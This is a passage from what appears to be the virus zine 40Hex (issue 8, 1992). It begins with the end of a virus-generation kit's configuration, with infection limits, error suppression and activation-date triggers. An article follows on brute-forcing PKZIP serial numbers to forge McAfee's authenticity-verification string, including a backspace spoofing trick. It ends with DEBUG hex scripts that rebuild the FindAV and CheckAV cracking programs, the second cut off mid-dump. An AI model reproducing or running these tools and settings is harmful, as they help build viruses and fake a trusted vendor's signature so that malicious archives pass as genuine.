  1849. ; MaxSize = #
  1850. ; (A,[0]..65535)
  1851. ; MaxSize is used only in the infection of COM files.  Files above MaxSize
  1852. ; bytes are not infected.  MaxSize = 0 turns off this option.  MaxSize = A
  1853. ; indicates automatic calculation of maximum size. This line is not needed
  1854. ; in EXE-only infectors.
  1855. MaxSize = A
  1856.  
  1857. ; Infections = #
  1858. ; ([0]..255)
  1859. ; Infections is an optional counter limiting the number of infections per run
  1860. ; of the virus to a specific number.  Infections = 0 disables this option.
  1861. Infections = 0
  1862.  
  1863. ; ErrorHandler = <Y,N>
  1864. ; (Yes, [No])
  1865. ; ErrorHandler selects if you wish to include a short critical error handler
  1866. ; in the virus.  This handler prevents Abort, Retry, Fail messages by taking
  1867. ; over the critical error interrupt.  Attempted infection of files on write-
  1868. ; protected diskettes will not generate an error if this option is set.
  1869. ErrorHandler = Y
  1870.  
  1871. ; CommandCom = <Y,N>
  1872. ; (Yes, [No])
  1873. ; This flag indicates whether you wish the virus to infect COMMAND.COM
  1874. ; 'Yes' turns off the check for COMMAND.COM, thus saving space.
  1875. CommandCom = N
  1876.  
  1877. ; VirusName = <string>
  1878. ; The only limitation to the string is that you may not use both the single
  1879. ; and double quotes together in the string, i.e. the string B'li"p is not
  1880. ; legal.
  1881. VirusName = [Skeleton]
  1882.  
  1883. ; AuthorName = <string>
  1884. ; The same constraints apply to AuthorName.
  1885. AuthorName = Deke
  1886.  
  1887. ; AllowZero = <Y,N>
  1888. ; (Yes, [No])
  1889. ; This flags whether the virus will allow an encryption value of 0, which
  1890. ; would effectively leave it in an unencrypted state.  'Yes' disables the
  1891. ; zero check, thereby shortening code length.
  1892. AllowZero = N
  1893.  
  1894. ; Activation Conditions
  1895. ; All conditions must be satisfied for activation to occur
  1896.  
  1897. ; Always = <Y,N>
  1898. ; (Yes, [No])
  1899. ; This flags whether the virus always activates, although I can't imagine a
  1900. ; useful virus that does so.
  1901. ; Always = N
  1902.  
  1903. ; IfMonth = #
  1904. ; <1..12><-,+>
  1905. ; Activate if the month is equal to the specified number.  Adding a minus sign
  1906. ; after the month indicates activation before or during the specified month.
  1907. ; Adding a plus sign after the month indicates activation during or after the
  1908. ; specified month.
  1909. ; IfMonth = 11+    ; Activate in either November or December
  1910.  
  1911. ; IfDay = #
  1912. ; <1..31><-,+>
  1913. ; Activate if the date is on a certain date  Adding a minus sign after the day
  1914. ; indicates activation on or before that day.  Similarly, adding a plus sign
  1915. ; indicates activation on or after that day.  Note: the program does not check
  1916. ; to see if the number inputted is a valid date.  For example, combining
  1917. ; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
  1918. ; clearly never activate.
  1919. ; IfDay = 15+         ; Activate after the fifteenth of the month
  1920.  
  1921. ; IfYear = #
  1922. ; <0..65535><-,+>
  1923. ; Activate during a certain year or years.  Don't be stupid and put a
  1924. ; ridiculous year such as 1-.
  1925. ; IfYear = 1993+      ; Activate after 1993
  1926.  
  1927. ; IfDOW = #
  1928. ; <0..6><-,+>
  1929. ; 0 = Sunday, 1 = Monday, etc.
  1930. ; Activate on, before, or after a particular day of the week.
  1931. ; IfDOW = 0            ; Activate only on Sundays
  1932.  
  1933. ; IfMonthDay = #,#
  1934. ; <#,#><-,+>
  1935. ; Activate on, before, or after a particular day of the year.  This differs
  1936. ; from the combination of IfMonth and IfDay.
  1937. ; IfMonthDay = 5,9+    ; Activate only after May 9th
  1938. ; compare to:
  1939. ; IfMonth = 5+         ; Activate in May through December, but only if the
  1940. ; IfDay   = 9+         ; day is on or after the 8th.  July 1st is NOT an
  1941.                        ; activation date
  1942.  
  1943. ; IfHour = #
  1944. ; <0..23><-,+>
  1945. ; This should be self-explanatory at this point.
  1946. ; IfHour = 12          ; Activate any time from 12 noon -> 1 P.M.
  1947.  
  1948. ; IfMinute = #
  1949. ; <0..59><-,+>
  1950. ; Duh.
  1951. ; IfMinute = 30+
  1952.  
  1953. ; IfSecond = #
  1954. ; <0..59><-,+>  ;; check 0
  1955. ; This is somewhat useless, in my estimation
  1956. ; IfSecond = 30+
  1957.  
  1958. ; Percentage = #
  1959. ; <1..99>
  1960. ; This uses the 1/100 second counter as a random number.  If the counter is
  1961. ; less than the percentage, then the virus will activate.
  1962. ; Percentage = 50      ; Even odds
  1963. --------------------------------- Stop Cutting --------------------------------
  1964.  
  1965. 40Hex Number 8 Volume 2 Issue 4                                       File 002
  1966.  
  1967. -=-=-=-=-=-=-
  1968.                 Eat PUTAV
  1969.                   by Demogorgon of PHALCON/SKISM
  1970. -=-=-=-=-=-=-
  1971.  
  1972.  
  1973.      Even though pk-zip 2.0 will be out soon and all the methods in
  1974. this article will be obsolete, I decided to write about them anyway.  I
  1975. am sure you are familiar with the old program called makeav, which
  1976. attempted to brute force hack pkzip registration serial numbers.  Sure,
  1977. it worked, but it was quite slow.  Then, Hal released the program
  1978. findav, which did the same task several thousand times faster.  Dark
  1979. Angel took apart the program findav in order to make a few
  1980. modifications.  Naturally, Hal included several routines in his code in
  1981. order to make it very difficult to take apart.  Dark Angel captured a
  1982. memory image of findav after it loaded into memory, wrote it back to
  1983. disk as a com file, and then changed all of the offsets so that all
  1984. references to the data segment were changed to their address in the code
  1985. segment.  Dark Angel made several modifications, the most important of
  1986. which was so that findav would not quit out after finding a serial
  1987. number.  The new version finds every serial number, and logs them to
  1988. disk.
  1989.  
  1990. -=-=-=-=-=-=-
  1991.         An Experiment in Distributed Processing
  1992. -=-=-=-=-=-=-
  1993.  
  1994.      The next day, Garbageheap and I took the modified findav down to
  1995. the nearest university.  We started it running on twenty 80386 systems
  1996. on their network, each working on a different segment of the 4 billion
  1997. possible serial numbers.  The goal was to find every serial number that
  1998. worked for McAfee Associates, so that we could then determine which one
  1999. was the one he uses.  When an authenticity verified pkzip file is
  2000. extracted, pkunzip generates a 3 letter, 3 number validation string that
  2001. is dependent on the serial number used to validate it.  A single
  2002. registration name has millions of valid serial numbers, but each of
  2003. these serial numbers has one unique validation string.
  2004.  For Example:
  2005.  
  2006. PKUNZIP (R)    FAST!    Extract Utility    Version 1.1    03-15-90
  2007. Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
  2008. PKUNZIP Reg. U.S. Pat. and Tm. Off.
  2009.  
  2010. Searching ZIP: EARLOBE.ZIP
  2011.   Exploding: NUL           -AV
  2012.  
  2013. Authentic files Verified!   # ATU314   Zip Source: McAFEE ASSOCIATES
  2014.                               ^^^^^^
  2015.  
  2016. PKUNZIP (R)    FAST!    Extract Utility    Version 1.1    03-15-90
  2017. Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
  2018. PKUNZIP Reg. U.S. Pat. and Tm. Off.
  2019.  
  2020. Searching ZIP: EARLOBE.ZIP
  2021.   Exploding: NUL           -AV
  2022.  
  2023. Authentic files Verified!   # SXQ414   Zip Source: McAFEE ASSOCIATES
  2024.                               ^^^^^^
  2025.  
  2026.      Therefore, the task was to find which of the serial numbers we had
  2027. found for McAfee produces the validation string "NWN405".  To do this,
  2028. we ran every serial number through a program called checkav which Dark
  2029. Angel wrote to determine what validation number corresponds to which
  2030. serial number.  Of course, a task like this would be nearly impossible
  2031. on your machine at home, but thanks to my local university, we were able
  2032. to use twenty machines at once.
  2033.  
  2034.  
  2035. -=-=-=-=-=-=-
  2036.         Yet Another Way To Eat PUTAV
  2037. -=-=-=-=-=-=-
  2038.      Because there is never only one way to do something, I decided to
  2039. put in another way to get whatever validation string you want out of
  2040. pkzip.  All you need to do is include some ^H characters in your
  2041. registration name to backspace over the validation string and create a
  2042. new one.  Naturally, you can not enter ^H characters when you run
  2043. putav, so you enter the correct number of some other character, go
  2044. into memory with td, and change them to 08h, the ^H character.  That
  2045. way, when pkunzip runs and gives you a validation string, it will
  2046. backspace over it and show your own.  For example:
  2047.  
  2048. >>>>> PUTAV.EXE
  2049.  
  2050. PUTAV - Put Authenticity Verification in PKZIP.EXE
  2051. Copyright 1990 PKWARE, Inc.  All rights reserved.
  2052.  
  2053. Enter company name exactly as it appears on the PKWARE documentation.
  2054. Company Name : ^A^A^A^A^A^A^A^A^A^A^A# BOB666   Earlobe industries
  2055. Enter serial number exactly as it appears on the PKWARE documentation.
  2056. Serial Number: 23453244
  2057.  
  2058. >>>>>
  2059.  
  2060.      After typing earlobe industries and hitting return, break into
  2061. turbo debug and change the ^A's (01) to ^H's (08).  Remember to put in
  2062. 11 backspaces.  You can use the same method to find the serial number for
  2063. your string with findav.
  2064.  
  2065.      The only useful application of all this is to duplicate an existing
  2066. pkzip registration.  You could do that before, but now you can do it
  2067. better.  Changing the validation string only really makes a difference
  2068. if you are trying to duplicate an archive that is known to have a certain
  2069. one, like McAfee's.
  2070. 40Hex Number 8 Volume 2 Issue 4                                       File 003
  2071.  
  2072.  
  2073.              -=PHALCON/SKISM=- Presents FindAv P/S Style!
  2074.                  PD War Collection Program 2
  2075.                       By Hal Of Pheonix
  2076.                       Modified by: Dark Angel of PHALCON/SKISM
  2077.  
  2078. FindAV version 1.5
  2079. Released 27 Jul 92
  2080. By Dark Angel of PHALCON/SKISM
  2081.  
  2082. In the beginning, there was MakeAV and all its counterparts.  These programs
  2083. used a brute-force approach to find PKZIP serial numbers.  They ran PUTAV,
  2084. PKZIP, and PKUNZIP repeatedly until a legitimate serial number was found.
  2085. Although they worked, these programs required hours, often days of running, as
  2086. well as much wear and tear on the hard drive head.  Then FindAV was released
  2087. by HAL of PHOENIX.
  2088.  
  2089. FindAV was many, many times faster than MakeAV.  Instead of running the PKWare
  2090. files over and over again, FindAV used an algorithmic approach similar to the
  2091. one used by PKWare when calculating serial numbers for registered clients.  It
  2092. was a marvelous program, but it, too, had its limitations.  The continual
  2093. display of numbers was aesthetically pleasing, but it took much valuable
  2094. processor time, slowing down the search for the holy serial number.  E-FindAV
  2095. was released, once again speeding the search time by a large factor.  E-FindAV
  2096. monitored the running of FindAV, turning off the display until the serial
  2097. number was found.  This was a tremendous improvement.  However, the user had
  2098. to sit through a tedious, lengthy, entirely unecessary introduction screen
  2099. before E-FindAV would execute FindAV. This was unacceptable.  Additionally,
  2100. E-FindAV failed to fix some fundamental problems with FindAV.
  2101.  
  2102. For one, FindAV stopped after finding the first serial number.  While this is
  2103. fine for most people, it is not desirable when finding existing serial
  2104. number/validation string combinations.  Second, FindAV had a few bugs.  The
  2105. first bug occured only in 386 mode.  FindAV would "miss" some legitimate
  2106. serial numbers which it would catch in 8086 mode.  This was, once again,
  2107. undesirable when looking for existing serial number/validation string
  2108. combinations.  FindAV would also run into an infinite loop in certain
  2109. instances in 8086 mode.  This, too, was unacceptable.  Third, FindAV would not
  2110. log the serial numbers found in a file. Thus, the user had to manually copy
  2111. the number onto a sheet of paper and transfer it to a file for later
  2112. reference.  Fourth, FindAV would not let the user start searching for a serial
  2113. number from any number except 1000.  If the user wished to find starting from,
  2114. say, 2 billion, he or she would be forced to create a MAKEAV.DAT file and
  2115. hex-edit the appropriate values.  Last, both FindAV and E-FindAV used
  2116. rudimentary disassembly-proof code which precluded users from adding features
  2117. to the program.
  2118.  
  2119. FindAV version 1.5 fixes these problems.  It is essentially the same program
  2120. as the originally released version by HAL of PHOENIX, but with all the fixes
  2121. and enhancements mentioned above.
  2122.  
  2123. Command line options:
  2124. /B - begin at number
  2125. You can now start the search from any number, be it 0, 4,294,967,295 or
  2126. anything in between.  This serves several purposes.  Should the data file be
  2127. corrupted, it is not necessary to hexedit the data file to restart from the
  2128. last position.  This option also facilitates the coordinated running of FindAV
  2129. on multiple machines.  In this manner, each machine can start the search at a
  2130. different point.  The value following the /B overrides the value in the
  2131. FindAV.DAT data file.
  2132.  
  2133. Syntax:
  2134.     FindAV /B ###
  2135. Example:
  2136.     FindAV /B 478293
  2137.  
  2138. /S - supress output
  2139. Searches may be expedited somewhat with this supress output option.  This
  2140. eliminates the unecessary on-screen reporting of a sucessful finding.  Logging
  2141. via the AVS.DAT file is preserved.  The 'D'isplay command continues to function
  2142. under this mode.
  2143.  
  2144. Syntax:
  2145.     FindAV /S
  2146.  
  2147. Valid keystrokes in FindAV:
  2148. ESC - Terminate calculation
  2149. Pressing the ESC key causes FindAV to terminate after saving the status of the
  2150. run in FindAV.DAT.
  2151.  
  2152. 'D' - Display
  2153. Pressing the 'D' key causes FindAV to display the current search number on the
  2154. screen.  This function was originally part of the main loop.  However, it
  2155. consumed countless clock cycles, so it was eliminated to save precious time.
  2156.  
  2157. Files created by FindAV 1.5:
  2158. AVS.DAT - log file
  2159. The AVS.DAT file is created by FindAV.  FindAV uses this file to record all
  2160. sucessful serial number finds.  It consists of the company name followed by
  2161. multiple lines of serial numbers.  If FindAV detects the file in the directory,
  2162. it will append serial numbers to the end.
  2163.  
  2164. FINDAV.DAT - save file
  2165. The FindAV.DAT file is created by FindAV when the user terminates calculation.  It contains the company name as well as the current search number.  It is useful when the user does not wish to search an entire range in one running.  FindAV will automatically resume operation if it detects FindAV in the current directory.
  2166. FindAV 1.5 has data file compatability with version 1.0.
  2167.  
  2168. Revision history:
  2169. 1.0 - Unknown - HAL of PHOENIX
  2170.     - initial release
  2171.  
  2172. 1.5 - 27 Jul 92 - Dark Angel of PHALCON/SKISM
  2173.     - Bug fixes, peephole optimisation, log file, nonstop action, anynumber
  2174.       begin.
  2175. -------------------------------------------------------------------------------
  2176. n findav15.com
  2177. e 0100  E8 B8 02 74 03 E8 09 00 E8 01 04 B4 4C CD 21 6C
  2178. e 0110  01 E8 44 01 75 0F E8 D5 00 BA D9 06 E8 27 04 E8
  2179. e 0120  5F 00 E8 84 00 E8 13 00 72 10 BF 06 06 2E FF 16
  2180. e 0130  0F 01 73 DD BA F2 06 E8 0C 04 C3 B4 01 CD 16 74
  2181. e 0140  1E 2A E4 CD 16 3C 64 74 13 3C 44 74 0F 3C 1B 75
  2182. e 0150  0E BA 61 07 E8 EF 03 E8 F1 03 F9 C3 E8 1F 00 F8
  2183. e 0160  C3 66 83 3D FF 74 15 66 FF 05 F8 C3 8B 05 8B 55
  2184. e 0170  02 40 75 03 42 74 05 AB 92 AB F8 C3 F9 C3 E8 6D
  2185. e 0180  00 E8 5F 00 BA AD 07 E8 BC 03 C3 B8 01 3D BA 7B
  2186. e 0190  08 CD 21 93 C3 BA D5 07 E8 AB 03 E9 6A FF B4 40
  2187. e 01A0  BA D0 07 B9 02 00 CD 21 C3 E8 DF FF 73 1B B4 3C
  2188. e 01B0  33 C9 CD 21 72 DF E8 D2 FF B4 40 8A 0E 13 06 B5
  2189. e 01C0  00 BA 14 06 CD 21 E8 D5 FF B8 02 42 33 C9 99 CD
  2190. e 01D0  21 B4 40 B9 0B 00 BA B5 07 CD 21 E8 C0 FF B4 3E
  2191. e 01E0  CD 21 C3 B4 02 32 FF 8B 16 49 06 CD 10 C3 FD BF
  2192. e 01F0  BF 07 B9 0A 00 80 3E 05 06 00 74 24 66 A1 06 06
  2193. e 0200  66 BB 0A 00 00 00 66 33 D2 66 0B C0 75 06 B0 20
  2194. e 0210  F3 AA FC C3 66 F7 F3 92 04 30 AA 92 E2 E8 FC C3
  2195. e 0220  88 0E C2 07 A1 06 06 8B 16 08 06 EB 06 8B 46 02
  2196. e 0230  8B 56 04 0B C0 75 08 0B D2 75 04 B0 20 EB 10 6A
  2197. e 0240  0A 52 50 E8 3C 01 89 4E 04 89 46 02 92 04 30 AA
  2198. e 0250  FE 0E C2 07 75 D7 FC C3 E8 3E 01 E8 D8 00 75 07
  2199. e 0260  E8 05 00 75 02 32 C0 C3 BF 0A 06 C7 06 C1 07 00
  2200. e 0270  0A 80 3E 05 06 00 74 24 66 8B 05 66 C1 C8 10 66
  2201. e 0280  B9 0A 00 00 00 66 0B C0 74 50 66 33 D2 66 F7 F1
  2202. e 0290  00 16 C1 07 FE 0E C2 07 75 EB EB 3E C7 45 04 9A
  2203. e 02A0  3B C7 45 06 00 CA FF 75 04 FF 75 06 FF 35 FF 75
  2204. e 02B0  02 E8 2C 00 6A 0A 52 50 E8 C7 00 00 16 C1 07 B8
  2205. e 02C0  0A 00 99 52 50 FF 75 04 FF 75 06 E8 12 00 89 55
  2206. e 02D0  04 89 45 06 FE 0E C2 07 75 CC 80 3E C1 07 3E C3
  2207. e 02E0  55 8B EC 8B 4E 0A E3 38 8B 5E 08 8B 56 06 8B 46
  2208. e 02F0  04 D1 E9 D1 DB D1 EA D1 D8 0B C9 75 F4 F7 F3 8B
  2209. e 0300  F0 F7 66 0A 91 8B 46 08 F7 E6 03 D1 72 0C 3B 56
  2210. e 0310  06 77 07 72 06 3B 46 04 76 01 4E 33 D2 96 EB 12
  2211. e 0320  8B 4E 08 8B 46 06 33 D2 F7 F1 8B 5E 04 93 F7 F1
  2212. e 0330  8B D3 5D C2 08 00 B9 07 00 BB 9D 00 BF 0A 06 EB
  2213. e 0340  1E 80 3E 05 06 00 74 17 66 D3 0D 66 8B 05 66 33
  2214. e 0350  D2 F7 F3 66 C1 C8 10 66 83 E8 1A F7 F3 EB 20 8B
  2215. e 0360  15 8B 45 02 8B F0 D1 EE D1 DA D1 D8 E2 F8 89 15
  2216. e 0370  89 45 02 2D 1A 00 83 DA 00 53 52 50 E8 03 00 0B
  2217. e 0380  D2 C3 55 8B EC 8B 5E 08 8B 46 06 33 D2 F7 F3 8B
  2218. e 0390  4E 04 91 F7 F3 5D C2 06 00 BE 06 06 AD 89 44 02
  2219. e 03A0  AD 89 44 02 BE 14 06 32 ED 8A 0E 13 06 33 DB AC
  2220. e 03B0  30 87 0A 06 43 80 E3 03 E2 F5 C3 BA 4B 06 E8 85
  2221. e 03C0  01 E8 48 01 E8 0A 02 E8 22 00 E8 D4 00 80 3E 13
  2222. e 03D0  06 00 75 03 E8 5B 01 33 F6 E8 37 01 80 3E 13 06
  2223. e 03E0  00 75 08 BA 41 07 E8 5D 01 32 C0 C3 BE 81 00 AC
  2224. e 03F0  3C 0D 74 37 3C 2F 75 F7 AC E8 86 00 3C 53 75 13
  2225. e 0400  B8 90 00 BF 19 01 B9 09 00 F3 AA BA 83 08 E8 35
  2226. e 0410  01 EB DC 3C 42 74 15 3C 3F 75 05 BA 0E 09 EB 5D
  2227. e 0420  A2 0A 09 BA F6 08 E8 1D 01 EB C4 C3 32 E4 33 DB
  2228. e 0430  B9 0A 00 99 AC E8 62 00 74 FA E8 50 00 74 05 BA
  2229. e 0440  A3 08 EB 39 50 92 F7 E1 50 93 F7 E1 5B 03 D3 5B
  2230. e 0450  03 C3 83 D2 00 93 AC E8 33 00 74 E8 4E 89 1E 06
  2231. e 0460  06 89 16 08 06 E8 86 FD BA E2 08 E8 D8 00 BA B3
  2232. e 0470  07 E8 D2 00 BA D2 07 E8 CC 00 E9 72 FF E8 C6 00
  2233. e 0480  CD 20 3C 61 7C 06 3C 7A 7F 02 04 E0 C3 3C 30 7C
  2234. e 0490  08 3C 39 7F 04 2C 30 3A C0 C3 3C 20 74 02 3C 3D
  2235. e 04A0  C3 E8 D3 00 72 65 BA 51 08 E8 9A 00 B9 05 00 E8
  2236. e 04B0  DA 00 72 54 8B F2 AD 3D 41 56 75 46 AD 3D 31 30
  2237. e 04C0  75 40 BA 14 06 8A 0C E8 C2 00 72 3C 83 3E 08 06
  2238. e 04D0  00 75 12 81 3E 06 06 E8 03 75 0A BA 06 06 B1 04
  2239. e 04E0  E8 A9 00 72 1D AC A2 13 06 98 91 BE 14 06 BF 31
  2240. e 04F0  08 F3 A4 B8 0D 0A AB B0 24 AA BA 21 08 E8 46 00
  2241. e 0500  EB 06 BA 31 08 E8 3E 00 E8 78 00 C3 BE 01 00 E8
  2242. e 0510  01 00 C3 E8 11 00 B4 01 0B F6 75 05 80 CD 20 EB
  2243. e 0520  03 80 E5 DF CD 10 C3 B4 03 32 FF CD 10 89 16 49
  2244. e 0530  06 C3 BA 98 07 E8 0E 00 B4 0A BA 12 06 CD 21 BA
  2245. e 0540  D0 07 E8 01 00 C3 B4 09 CD 21 C3 E8 6C 00 72 26
  2246. e 0550  BF 4B 06 B8 41 56 AB B8 31 30 AB BE 13 06 AC AA
  2247. e 0560  98 8B C8 F3 A4 BE 06 06 A5 A5 04 09 91 BA 4B 06
  2248. e 0570  E8 31 00 E8 0D 00 C3 B8 00 3D BA C3 07 CD 21 A3
  2249. e 0580  CE 07 C3 B4 3E 8B 1E CE 07 CD 21 C3 B4 3F 8B 1E
  2250. e 0590  CE 07 CD 21 72 06 3B C1 75 02 F8 C3 BA 06 08 E8
  2251. e 05A0  A4 FF F9 C3 B4 40 8B 1E CE 07 CD 21 73 0B 3B C1
  2252. e 05B0  74 07 BA EE 07 E8 8E FF F9 C3 B4 3C 33 C9 BA C3
  2253. e 05C0  07 CD 21 73 08 BA D5 07 E8 7B FF F9 C3 A3 CE 07
  2254. e 05D0  C3 9C 58 25 FF 0F 50 9D 9C 58 25 00 F0 3D 00 F0
  2255. e 05E0  74 22 9C 58 0D 00 70 50 9D 9C 58 25 00 70 3D 00
  2256. e 05F0  70 75 11 FE 06 05 06 2E C7 06 0F 01 61 01 BA 2E
  2257. e 0600  07 E8 42 FF C3 00 E8 03 00 00 00 00 00 00 00 00
  2258. e 0610  00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00
  2259. e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  2260. e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  2261. e 0640  00 00 00 00 00 00 00 00 00 00 00 50 72 6F 67 72
  2262. e 0650  61 6D 20 74 6F 20 66 69 6E 64 20 73 65 72 69 61
  2263. e 0660  6C 20 23 20 66 6F 72 20 41 56 20 20 76 65 72 20
  2264. e 0670  31 2E 35 0D 0A 76 65 72 20 31 2E 30 20 3C 20 62
  2265. e 0680  79 20 48 41 4C 20 66 6F 72 20 50 48 4F 45 4E 49
  2266. e 0690  58 20 3E 0D 0A 76 65 72 20 31 2E 35 20 62 79 20
  2267. e 06A0  44 61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 48
  2268. e 06B0  41 4C 43 4F 4E 2F 53 4B 49 53 4D 0D 0A 50 72 65
  2269. e 06C0  73 73 20 45 53 43 20 74 6F 20 65 78 69 74 20 70
  2270. e 06D0  72 6F 67 72 61 6D 0D 0A 24 0D 0A 53 65 72 69 61
  2271. e 06E0  6C 20 6E 75 6D 62 65 72 20 66 6F 75 6E 64 21 0D
  2272. e 06F0  0A 24 0D 0A 46 69 6E 64 41 56 20 63 6F 6D 70 6C
  2273. e 0700  65 74 65 64 2E 20 20 4E 6F 20 6D 6F 72 65 20 73
  2274. e 0710  65 72 69 61 6C 20 6E 75 6D 62 65 72 73 20 6D 61
  2275. e 0720  79 20 62 65 20 66 6F 75 6E 64 2E 0D 0A 24 33 38
  2276. e 0730  36 20 43 50 55 20 64 65 74 65 63 74 65 64 0D 0A
  2277. e 0740  24 4E 6F 20 69 6E 70 75 74 2C 20 61 62 6F 72 74
  2278. e 0750  69 6E 67 20 6F 70 65 72 61 74 69 6F 6E 21 0D 0A
  2279. e 0760  24 0D 0A 45 53 43 20 6B 65 79 20 64 65 74 65 63
  2280. e 0770  74 65 64 2C 20 73 61 76 69 6E 67 20 46 49 4E 44
  2281. e 0780  41 56 2E 44 41 54 20 61 6E 64 20 65 78 69 74 69
  2282. e 0790  6E 67 2E 2E 2E 0D 0A 24 45 6E 74 65 72 20 63 6F
  2283. e 07A0  6D 70 61 6E 79 20 6E 61 6D 65 3A 20 24 54 72 79
  2284. e 07B0  69 6E 67 20 23 20 20 20 20 20 20 20 20 20 20 20
  2285. e 07C0  24 00 00 46 49 4E 44 41 56 2E 44 41 54 00 00 00
  2286. e 07D0  0D 0A 0D 0A 24 0D 0A 45 72 72 6F 72 20 63 72 65
  2287. e 07E0  61 74 69 6E 67 20 66 69 6C 65 21 0D 0A 24 0D 0A
  2288. e 07F0  45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 66 69
  2289. e 0800  6C 65 21 0D 0A 24 0D 0A 45 72 72 6F 72 20 69 6E
  2290. e 0810  20 72 65 61 64 69 6E 67 20 66 69 6C 65 21 0D 0A
  2291. e 0820  24 43 6F 6E 74 69 6E 75 69 6E 67 20 66 6F 72 3A
  2292. e 0830  20 42 61 64 20 66 69 6C 65 20 68 65 61 64 65 72
  2293. e 0840  20 69 6E 20 46 49 4E 44 41 56 2E 44 41 54 0D 0A
  2294. e 0850  24 46 49 4E 44 41 56 2E 44 41 54 20 64 65 74 65
  2295. e 0860  63 74 65 64 2C 20 72 65 61 64 69 6E 67 20 69 6E
  2296. e 0870  20 64 61 74 61 2E 2E 2E 0D 0A 24 41 56 53 2E 44
  2297. e 0880  41 54 00 53 75 70 70 72 65 73 73 69 6F 6E 20 6F
  2298. e 0890  66 20 6F 75 74 70 75 74 20 61 63 74 69 76 65 2E
  2299. e 08A0  0D 0A 24 46 61 74 61 6C 20 65 72 72 6F 72 20 69
  2300. e 08B0  6E 20 70 61 72 61 6D 65 74 65 72 20 42 45 47 49
  2301. e 08C0  4E 2E 0D 0A 50 72 6F 70 65 72 20 75 73 61 67 65
  2302. e 08D0  3A 20 2F 42 20 23 23 23 23 23 23 23 23 23 23 0D
  2303. e 08E0  0A 24 42 65 67 69 6E 6E 69 6E 67 20 73 65 61 72
  2304. e 08F0  63 68 20 61 74 24 55 6E 6B 6E 6F 77 6E 20 70 61
  2305. e 0900  72 61 6D 65 74 65 72 3A 20 2F 00 0D 0A 24 50 61
  2306. e 0910  72 61 6D 65 74 65 72 73 20 61 72 65 3A 0D 0A 2F
  2307. e 0920  3F 20 20 20 20 20 20 20 20 20 20 44 69 73 70 6C
  2308. e 0930  61 79 20 74 68 69 73 20 73 63 72 65 65 6E 0D 0A
  2309. e 0940  2F 42 20 23 23 23 23 23 20 20 20 20 42 65 67 69
  2310. e 0950  6E 20 61 74 20 23 23 23 23 23 0D 0A 2F 53 20 20
  2311. e 0960  20 20 20 20 20 20 20 20 73 75 70 70 72 65 73 73
  2312. e 0970  20 6F 75 74 70 75 74 0D 0A 24 1A 1A 1A 1A 1A 1A
  2313. rcx
  2314. 097F
  2315. w
  2316. q
  2317. -------------------------------------------------------------------------------
  2318. 40Hex Number 8 Volume 2 Issue 4                                       File 004
  2319.  
  2320.                  -=PHALCON/SKISM=- Presents CheckAv
  2321.                      PD War Collection Program 3
  2322.                           By Dark Angel
  2323.  
  2324.     Once again, not an incredibly impressive program, but it is still
  2325. quite useful.  It PutAv's a serial number, pkzips a test file, with the
  2326. pkzip -! option, then unzips it.  It logs the line that has serial
  2327. number.  This program requires pkzip, pkunzip, putav and avs.dat from
  2328. findav15.
  2329.     It is a very crude program, but it was done in quite a hurry, as
  2330. I am going away for a while.  Run it in a RAM disk, as it is much
  2331. better!
  2332.  
  2333. -------------------------------------------------------------------------------
  2334. n checkav.com
  2335. e 0100  BA F7 02 B4 4A BB 00 10 CD 21 72 34 BA 83 02 E8
  2336. e 0110  6C 01 BA 14 03 E8 66 01 B4 0A BA 9A 04 CD 21 BA
  2337. e 0120  3C 03 80 3E 9A 04 00 74 76 BB 9C 04 8B D3 A0 9B
  2338. e 0130  04 98 03 D8 C6 07 00 B8 00 3D CD 21 BA 5E 03 93
  2339. e 0140  72 5D B4 3F B9 3C 00 BA BC 04 CD 21 87 D7 BA 7D
  2340. e 0150  03 0B C0 74 4A B8 00 42 33 C9 99 CD 21 FC BA 9F
  2341. e 0160  03 B9 3C 00 B0 0D F2 AE 0B C9 74 33 BA D3 03 E8
  2342. e 0170  0C 01 4F C6 05 24 BA BC 04 E8 02 01 C6 05 0D 8B
  2343. e 0180  D7 81 EA BA 04 89 16 F8 04 B8 00 42 33 C9 CD 21
  2344. e 0190  BA D6 02 E8 E8 00 BA 82 04 E8 BA 00 E8 13 00 E8
  2345. e 01A0  DC 00 B4 41 BA 8A 04 CD 21 B4 41 BA 8F 04 CD 21
  2346. e 01B0  CD 20 B4 3F B9 0D 00 BA EF 03 CD 21 0B C0 74 3A
  2347. e 01C0  BA E5 03 E8 B8 00 E8 A2 00 E8 32 00 BE EF 03 BF
  2348. e 01D0  09 04 B9 0B 00 F3 A4 BE 03 04 E8 52 00 E8 8B 00
  2349. e 01E0  BE 20 04 E8 49 00 E8 82 00 BE 34 04 E8 40 00 E8
  2350. e 01F0  79 00 BE 51 04 E8 37 00 EB B8 BA B8 03 C3 53 B4
  2351. e 0200  3C BA FE 03 33 C9 CD 21 93 B4 40 8B 0E F8 04 49
  2352. e 0210  BA BC 04 CD 21 B4 40 B9 0C 00 BA EF 03 CD 21 B4
  2353. e 0220  40 B9 01 00 BA FD 03 CD 21 B4 3E CD 21 5B C3 50
  2354. e 0230  53 51 52 1E 06 55 57 89 26 FC 04 8C 16 FA 04 CD
  2355. e 0240  2E FA 2E 8E 16 FA 04 2E 8B 26 FC 04 FB 5F 5D 07
  2356. e 0250  1F 5A 59 5B 58 C3 53 B8 00 3D CD 21 73 06 B4 3C
  2357. e 0260  33 C9 CD 21 93 B4 3E CD 21 5B C3 B4 06 B2 FF CD
  2358. e 0270  21 74 0A 3C 1B 75 06 BA D9 02 E9 22 FF C3 B4 09
  2359. e 0280  CD 21 C3 43 68 65 63 6B 41 56 20 76 65 72 73 69
  2360. e 0290  6F 6E 20 31 2E 30 0D 0A 62 79 20 44 61 72 6B 20
  2361. e 02A0  41 6E 67 65 6C 20 6F 66 20 50 48 41 4C 43 4F 4E
  2362. e 02B0  2F 53 4B 49 53 4D 0D 0A 50 72 65 73 73 20 45 53
  2363. e 02C0  43 20 74 6F 20 61 62 6F 72 74 20 61 74 20 61 6E
  2364. e 02D0  79 20 74 69 6D 65 0D 0A 24 45 53 43 61 70 65 20
  2365. e 02E0  64 65 74 65 63 74 65 64 2E 20 20 41 62 6F 72 74
